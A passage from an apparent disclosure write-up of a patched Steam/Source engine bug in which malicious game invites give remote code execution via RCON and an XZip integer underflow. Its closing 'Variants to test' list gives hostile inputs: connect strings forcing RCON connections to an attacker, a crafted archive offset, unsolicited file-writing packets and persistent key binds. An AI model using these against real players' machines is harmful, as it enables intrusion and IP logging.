The mistake is in the XZip/XUnzip library used by the RCON handler. The relative offset of the local file header is taken from the central directory file header, which the attacker can control. When it is set to 0xFFFFFFFE, the bounds check in lufread (stream->pos + toread > stream->len) passes because of unsigned arithmetic, and the subsequent toread = stream->len - stream->pos underflows to stream->len + 2. The memcpy then copies the whole archive blob to a one-byte stack variable, smashing the stack with attacker-controlled content. The library version in use dates back to 2003, and the report notes that several flaws were found in the implementation, of which this was only the first.
Two design decisions make the attack reachable in the first place: the connect string of a game invite is executed as arbitrary console commands, and the RCON client accepts screenshot and console log packets without the client requesting anything prior. The ROP chain then relies on xinput1_3.dll being loaded with ASLR disabled, so its base address can be somewhat reliably guessed.
Impact
An attacker can gain remote code execution on a victim's machine through a malicious Steam game invite, provided the victim accepts the invite. Before code execution, the attacker can already upload arbitrary files to the CS:GO installation folder, and the invite itself leaks the victim's IP address to the attacker. The RCON connection is established without any notification. The exploit is not fully reliable: it is estimated to work around 80% of the time, failing when the preferred address is already occupied by another DLL. With the bind and host_writeconfig trick, the attacker can retry whenever the victim presses the bound key, and the report notes that clicking Ok on the warning shown for some games is more or less agreeing to install a persistent IP logger. An IP logger is something that records and reports a visitor's IP address every time it is triggered.
Fix
The recent updates make it impossible to carry out this exploit any longer, though in CS:S the OS command line apparently is still in use. Valve removed the offending RCON command handlers, making the arbitrary file upload and the code execution in the unzipping code impossible. Also, at least for CS:GO, Valve seems to now use GetLaunchCommandLine instead of the OS command line. However, in CS:S (and maybe other games) the OS command line apparently is still in use. For those games, at least a warning is displayed that shows the parameters your game is about to start with. The next image shows how such a warning would look when accepting an invite that rebinds a key and establishes an RCON connection at the same time.

The timeline was as follows:
| Date | Event |
|---|---|
| 2019-06-05 | Reported to Valve on HackerOne |
| 2019-09-14 | Bug triaged |
| 2020-10-23 | Bounty paid ($8000) and notification that initial fix was deployed in Team Fortress 2 |
| 2021-04-17 | Final patch |
HackerOne is a bug bounty platform, a website where researchers report vulnerabilities and companies pay for valid ones. Triaged means the report was reviewed and confirmed as a real issue. The PoC exploit code can be found on the author's GitHub. A PoC, proof of concept, is a working demonstration that the bug is real. The vulnerability was given a severity rating of 9.0 (critical) by Valve.
Variants to test
- Other Source engine games that still use the OS command line. Send an invite whose connect string contains
+rcon_addressand+rconand watch for an outbound connection to the attacker's server. A positive result is a connection from the victim's machine without any prompt. - Other consumers of the XZip/XUnzip library. Feed an archive whose
central directory file headersets thelocal file headeroffset to0xFFFFFFFEand look for a crash or stack corruption in the unzip path. A positive result is a faultingEIPinfluenced by archive content. - Other RCON packet handlers that unpack data. Send
SERVERDATA_SCREENSHOT_RESPONSEorSERVERDATA_CONSOLE_LOG_RESPONSEpackets without a prior request and check whether files are written to disk. A positive result is ascreenshotXXXX.jpgappearing in the game directory. - Other games that accept connect strings as console commands. Try a connect string that binds a key and calls
host_writeconfig, then check whether the binding persists after a restart. A positive result is the bound command firing on the next key press. - Other DLLs loaded without ASLR. Enumerate modules in the target process and look for one with a fixed base address that can host a ROP chain. A positive result is a module whose base address is stable across runs.
Glossary
- API: a fixed set of functions one program offers to another, like a menu you order from.
- ASLR: Address Space Layout Randomisation, a defence that loads code at a random address each run so attackers cannot predict it.
- bind: a game console command that attaches commands to a key.
- Bug bounty: a programme that pays researchers for reporting vulnerabilities.
- Callback: a function the program calls automatically when an event happens.
- Central directory: the table of contents inside a ZIP archive.
- CVE: Common Vulnerabilities and Exposures, a public catalogue number for a vulnerability.
- DLL: a shared library file on Windows that programs load and reuse.
- EIP: the instruction pointer register, holding the address of the next instruction to run.
- Gadget: a short existing code snippet ending in a return instruction, used to build a ROP chain.
- Hex / hexadecimal: base-16 notation for numbers, written with a
0xprefix. - Integer underflow: a calculation that should give a small positive number wrapping around to a huge one because the type cannot hold negatives.
- IP address: the numeric label identifying a computer on a network.
- IP logger: something that records and reports a visitor's IP address each time it is triggered.
- Library: reusable code that many programs include instead of writing it themselves.
- Lobby: the in-game waiting room where players gather before a match.
- Magic bytes: a fixed signature at the start of a data structure that identifies it.
- Memory corruption: making a program write data where it should not.
- Null-terminated: text that ends at the first zero byte.
- Offset: the distance, in bytes, from the start of a file or buffer to a particular place.
- Packet: a small chunk of data sent over a network.
- PoC: proof of concept, a working demonstration that a bug is real.
- RCON: a protocol that lets a server owner send console commands to a game server over the network.
- RCE: remote code execution, running your own code on someone else's machine.
- ROP: return-oriented programming, stringing together existing code snippets to run a chosen sequence of actions.
- Shellcode: the small piece of machine code an attacker wants to run once control is gained.
- Source engine: the game engine used by games such as CS:GO and Team Fortress 2.
- Stack: the memory region holding short-lived values such as local variables and return addresses.
- Steamworks API: the set of functions Steam offers to game developers.
- Triaged: reviewed and confirmed as a real issue.
- XZip/XUnzip: a library for reading and writing ZIP archives.